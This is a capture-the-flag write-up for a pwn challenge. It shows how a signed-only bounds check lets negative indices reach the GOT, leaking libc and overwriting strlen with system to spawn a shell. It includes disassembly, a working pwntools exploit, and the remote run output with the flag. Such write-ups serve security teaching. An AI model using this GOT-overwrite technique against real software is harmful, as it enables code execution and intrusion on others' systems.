They Said We’d Have Flying Cars
- Category: pwn
“They said we’d have flying cars. Instead, we got tung tung, negative aura and memory corruption.”
A binary packet protocol over stdin with a stowage array of 16 slots. The array index is bounds-checked, which is exactly why the bug is easy to miss: the check is there, it is just the wrong kind of check.
Solution:
1. The protocol, and where the index goes
fly is non-PIE with Partial RELRO, NX and a canary, but none of that ends up mattering. The whole program is one dispatch loop (sub_4012ae) over four ops, each length-prefixed and read with a read-until-complete helper:
op1 STOW [i32 idx][u64 val]
op2 CHECK [i32 idx]
op3 HAIL [8 bytes]
op4 EOF
STOW and CHECK both index a 16-entry array of qwords at 0x4040a0. Both bound the index first — and both get it wrong the same way:
; STOW
0040135e: mov edx,dword ptr [rsp + 0xc]
00401362: cmp edx,0xf
00401365: jle 0x401380 ; SIGNED compare, upper bound only
00401380: movsxd rdx,edx ; SIGN-extended
00401383: mov qword ptr [0x4040a0 + rdx*0x8],rax
; CHECK
004013ba: cmp eax,0xf
004013bd: jg 0x4013dd ; SIGNED again
004013bf: cdqe ; SIGN-extended again
004013c1: lea rsi,[0x4040a0 + rax*0x8]
jle/jg are the signed forms, and there is no lower bound at all. Any negative idx passes, then movsxd/cdqe faithfully sign-extend it into the address computation. That is an arbitrary 8-byte read and an arbitrary 8-byte write at 0x4040a0 + idx*8, for any idx down to INT_MIN.
2. Negative indices land on the GOT
The binary is non-PIE, so 0x4040a0 is a fixed address, and Partial RELRO leaves .got.plt writable. The distance from the array to each GOT slot is a compile-time constant:
write@GOT 0x404018 idx = -17
strlen@GOT 0x404020 idx = -16
__stack_chk_fail 0x404028 idx = -15
read@GOT 0x404030 idx = -14
setvbuf@GOT 0x404038 idx = -13
CHECK -17 prints write’s resolved libc address; write is called in the banner before we get a prompt, so the slot is already bound. That is the ASLR leak, for one packet and no format string.
3. HAIL hands over the argument for free
The third op is the reason no ROP chain is needed:
004013f3: mov esi,0x8
004013f8: mov edi,0x404080
004013fd: call 0x4011b6 ; read exactly 8 bytes to 0x404080
...
00401420: mov edi,0x404080
00401425: call 0x401090 ; strlen@plt(0x404080)
0040142a: mov rdx,rax
0040142d: mov esi,0x404080
00401432: call 0x401080 ; write(1, 0x404080, rdx)
HAIL reads 8 attacker bytes into a fixed buffer and then calls strlen on that buffer. So strlen’s GOT entry is a function pointer whose argument we already control. Point it at system, send "/bin/sh\0" — exactly 8 bytes — and the echo becomes system("/bin/sh"). strlen is only ever called here, so overwriting its slot breaks nothing on the way.
4. Three packets
BAY = 0x4040a0
idx_of = lambda addr: (addr - BAY) // 8
io.send(b"\x02" + p32(idx_of(elf.got["write"]), sign="signed"))
libc.address = u64(io.recv(8)) - libc.sym["write"]
io.send(b"\x01" + p32(idx_of(elf.got["strlen"]), sign="signed") + p64(libc.sym["system"]))
io.recvuntil(b"[stowed]\n")
io.send(b"\x03" + b"/bin/sh\x00")
One detail worth pinning down before sending anything: despite being a “binary packet protocol”, the wire format is little-endian, not network order. STOW’s u64 parser walks the 8-byte buffer backwards, shifting left as it goes —
00401339: lea rsi,[rsp + 0x10] ; first byte
0040133e: lea rdx,[rsp + 0x17] ; last byte
00401348: shl rax,0x8
0040134c: movzx ecx,byte ptr [rdx]
0040134f: or rax,rcx
00401355: sub rdx,0x1
— which puts buf[0] in the least significant position. So p64/p32, not p64(..., endian='big'). Reading that loop out of the disassembly rather than assuming took less time than one failed round trip would have.
$ ./solve.py remote
[+] write@GOT = 0x7f3d0a5148b0
[+] libc base = 0x7f3d0a400000
[+] strlen@GOT := system (0x7f3d0a450d70)
[*] Switching to interactive mode
$ cat /flag.txt
sunctf26{n3g4t1v3_4ur4_s1gn3d_us_str41ght_1nt0_0rb1t}
Full script: solve.py
Flag: sunctf26{n3g4t1v3_4ur4_s1gn3d_us_str41ght_1nt0_0rb1t}
Takeaways
cmp reg, Nfollowed byjle/jg/jl/jgeis a signed bound. The unsigned forms arejbe/ja/jb/jae. When a challenge does check its index, that one-letter difference is usually the whole bug — andmovsxd/cdqeright after the branch is the confirming tell that the value is being treated as signed all the way into the address.- An indirect call whose argument is a fixed buffer you can write is strictly better than a ROP chain: no stack pivot, no gadget hunting, no alignment worries. Look for a GOT entry the program calls on data you control (
strlen,puts,atoion an input buffer) before reaching forpop rdi.